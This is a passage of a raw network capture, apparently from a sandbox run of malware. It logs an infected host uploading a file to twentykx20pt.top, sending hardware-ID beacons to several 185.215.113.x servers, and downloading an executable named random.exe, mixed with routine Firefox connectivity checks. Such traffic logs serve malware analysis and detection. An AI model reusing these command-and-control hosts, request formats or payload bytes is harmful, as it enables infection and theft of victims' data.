Nov 30, 2024 09:46:01.684824944 CET	1236	IN	Data Raw: 14 50 8d 84 24 3c 00 01 00 50 68 ff 7f 00 00 ff 35 18 14 4d 00 ff 15 68 c3 49 00 ff 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 Data Ascii: P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh
Nov 30, 2024 09:46:01.801984072 CET	1236	IN	Data Raw: c7 05 00 14 4d 00 03 00 00 00 8d 45 f0 50 8d 4d 90 e8 c5 00 00 00 8d 45 f0 b9 18 14 4d 00 50 e8 fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 Data Ascii: MEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49950	34.118.84.150	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:05.398058891 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20pt.top Accept: / Content-Length: 21208 Content-Type: multipart/form-data; boundary=------------------------AbQzgktFVij3bw2LmAqG7z Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 62 51 7a 67 6b 74 46 56 69 6a 33 62 77 32 4c 6d 41 71 47 37 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 65 6d 61 78 61 67 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cb ca 64 57 7c a3 1b 8d e9 cc 7b 91 38 25 40 d3 78 dd f3 72 ad 5b 74 bc c3 7c 19 64 4d 45 27 e5 5e 91 56 05 52 e5 6a eb 79 e7 0c 26 44 46 e4 ac 2e 3e ac 2f 40 5c 77 43 3d e5 91 e3 81 11 d1 1d 8c 1f 34 78 8a 9a b5 1d 3a 1e 1c 28 39 65 27 96 15 cd 45 9a b1 bc b4 1f 2f 66 42 f6 95 fc 74 c5 d0 b9 d4 85 ec 50 4f c6 ba c6 83 32 20 31 cc 99 33 df 28 75 44 2d 88 00 eb 2a 21 da 1e 1f 0e 14 c8 98 78 26 82 cf c7 03 40 71 af 96 79 09 a5 8e ae 46 59 7e ff a7 d0 4b e4 46 3a f9 b0 6a 68 8f 7e b0 21 09 32 37 79 f7 4a de 33 d9 a8 27 01 e3 [TRUNCATED] Data Ascii: --------------------------AbQzgktFVij3bw2LmAqG7zContent-Disposition: form-data; name="file"; filename="Xemaxago.bin"Content-Type: application/octet-streamdW\|{8%@xr[t\|dME'^VRjy&DF.>/@\wC=4x:(9e'E/fBtPO2 13(uD-!x&@qyFY~KF:jh~!27yJ3'N]G={k\Y#EQZQQV'@_.hNE8.6(08>.G5.w.`/}~f#RHTTEltM5%P4Y!q9/}C.l?Fw6(bvEf"5<$0X\|hSfGdR$efMDzI,_'+VUxirnB%>C:U@YjY]_s'E#mb@0V-ak~O/w`#z!\;:r5];,<G>&.h<(yF3>C&Rtjn75_ms.g0y+P-hOAyD?mMmr)P&C}u6x#:QKQ\|0>wNJ6_Qh{J9GO+4Y`b?,<7d>aO#"\| $^3p1CBjv?::9}Tm3e\|rjWXe[5%m{H#}%:g [TRUNCATED]
Nov 30, 2024 09:46:05.518102884 CET	2472	OUT	Data Raw: e4 c8 9a 6a 33 d3 88 c9 95 97 d9 db f1 4c 86 be c3 ff c9 7f ee f5 e2 5f 2b e3 5a 90 10 a1 6b 92 45 85 7c 9f 7c f3 3b 6e 29 cd da d9 83 91 c4 49 1d d0 d2 b9 07 24 56 1c 18 b5 78 22 18 3e 91 ee c6 c8 13 f3 ea d1 9d 84 6f 1c 9c ef 20 81 f5 f1 c2 ff Data Ascii: j3L_+ZkE\|\|;n)I$Vx">o ZKAQ,FegClry{<KIhgVB4?]heP52\|VL8z1g__ndS[1hgVU(}etx(]8}Tc&c
Nov 30, 2024 09:46:05.518137932 CET	2472	OUT	Data Raw: 18 2b f2 b2 08 40 e5 35 8f 1b 05 18 22 99 5a f2 fd 04 9b 2d 95 72 ae 4e 11 c3 20 18 5e 51 01 de 8b 24 1b 18 64 47 f5 d8 ae f2 48 46 a8 47 78 b2 2a 77 25 92 42 e9 fc 85 ef de 2b 67 90 e3 bf 9d 3c 89 9b 0f e9 f5 99 9e e0 5c 1c bb b1 76 1c 29 3b 63 Data Ascii: +@5"Z-rN ^Q$dGHFGx*w%B+g<\v);c%y^1i1;:6_i(mjB]e{nvp}7.UX&~Z'soyIWrhmp}L)`{?i1qzY"$gd@(>aa4u
Nov 30, 2024 09:46:05.518188953 CET	4088	OUT	Data Raw: 52 8c e0 fa 53 e9 fc b6 3e 36 6c f1 cf 08 82 c1 8d 1a bb b8 81 b3 ba a3 2b 6f d2 00 eb 18 1c b4 22 33 22 57 2b 96 5b 2c fc ef a9 71 08 fc 61 92 e4 46 c4 10 48 26 1f 78 a0 f4 1a 20 84 dd 05 73 1e 5c b6 3b ac ca 39 32 a3 cb f2 42 b4 42 41 b8 85 d8 Data Ascii: RS>6l+o"3"W+[,qaFH&x s\;92BBA~+%LP<S?c_m1$^a"nk*qX0j"`pTBC{ig"n=A1q.LP'zfha$yB[
Nov 30, 2024 09:46:07.052689075 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 08:46:06 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 24 x-ratelimit-reset: 1732957114 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49954	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:06.125479937 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010575001&unit=246122658369
Nov 30, 2024 09:46:07.548615932 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49960	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:07.676506996 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 09:46:09.113431931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:08 GMT Content-Type: application/octet-stream Content-Length: 2781184 Last-Modified: Sat, 30 Nov 2024 08:20:04 GMT Connection: keep-alive ETag: "674acab4-2a7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 ed 79 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +y`Ui` @ @.rsrc`2@.idata 8@ngugtkpy :@bcqrxxbh J@.taggant@"N*@
Nov 30, 2024 09:46:09.113534927 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.114320040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.114537954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.114547968 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.115046978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.115478992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.115488052 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.115938902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.115952969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:46:09.236857891 CET	1236	IN	Data Raw: d6 33 5c 13 e2 75 1e c2 fd 95 88 19 1d 84 50 fe b3 e5 2a ea c0 50 64 17 34 8a 03 ef 2d 9a 97 24 23 5f 31 e5 40 7f 44 41 fa 79 db fa 09 8c 44 f4 c0 65 15 e9 ce f8 1f e0 07 55 ff 65 c5 73 95 dd b7 66 38 b5 fc 55 fc 45 65 82 6e 65 c5 73 95 4f b6 6a Data Ascii: 3\uP*Pd4-$#_1@DAyDeUesf8UEenesOj8eU"&}{nfUUD6]g2 pi&RW,Bgb%h`[p:$CpvvgKyc+][Mpag-G lwY53EbZ!hoC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49966	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:08.286881924 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:09.530558109 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34307 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:09.558810949 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:09.883140087 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34307 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49971	34.118.84.150	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:08.365384102 CET	199	OUT	POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1 Host: home.twentykx20pt.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 77 4a 36 79 32 52 36 38 33 39 44 36 57 65 47 4d 31 37 33 32 39 35 36 33 32 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "wJ6y2R6839D6WeGM1732956325", "data": "Done2" }
Nov 30, 2024 09:46:09.788647890 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 08:46:09 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49983	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:09.739352942 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:46:11.161890984 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:46:11.181703091 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="build"drum------AFHJJEHIEBKKFIDHDGHJ--
Nov 30, 2024 09:46:11.639508963 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49985	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:09.804078102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49988	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:10.013474941 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 30, 2024 09:46:11.098736048 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 17:07:21 GMT Age: 56329 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 30, 2024 09:46:11.153491020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 30, 2024 09:46:11.469073057 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 17:07:21 GMT Age: 56330 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 30, 2024 09:46:12.352962017 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 30, 2024 09:46:12.668697119 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 17:07:21 GMT Age: 56331 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 30, 2024 09:46:13.621180058 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 30, 2024 09:46:13.936597109 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 17:07:21 GMT Age: 56332 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 30, 2024 09:46:16.335839033 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 30, 2024 09:46:16.650532007 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 17:07:21 GMT Age: 56335 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 30, 2024 09:46:26.747071028 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49989	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:10.019438028 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:11.150959969 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34308 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:12.025264978 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:12.348932028 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34310 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:13.293108940 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:13.616851091 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34311 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:15.997664928 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 30, 2024 09:46:16.321502924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 23:14:22 GMT Age: 34314 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 30, 2024 09:46:26.418950081 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50013	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
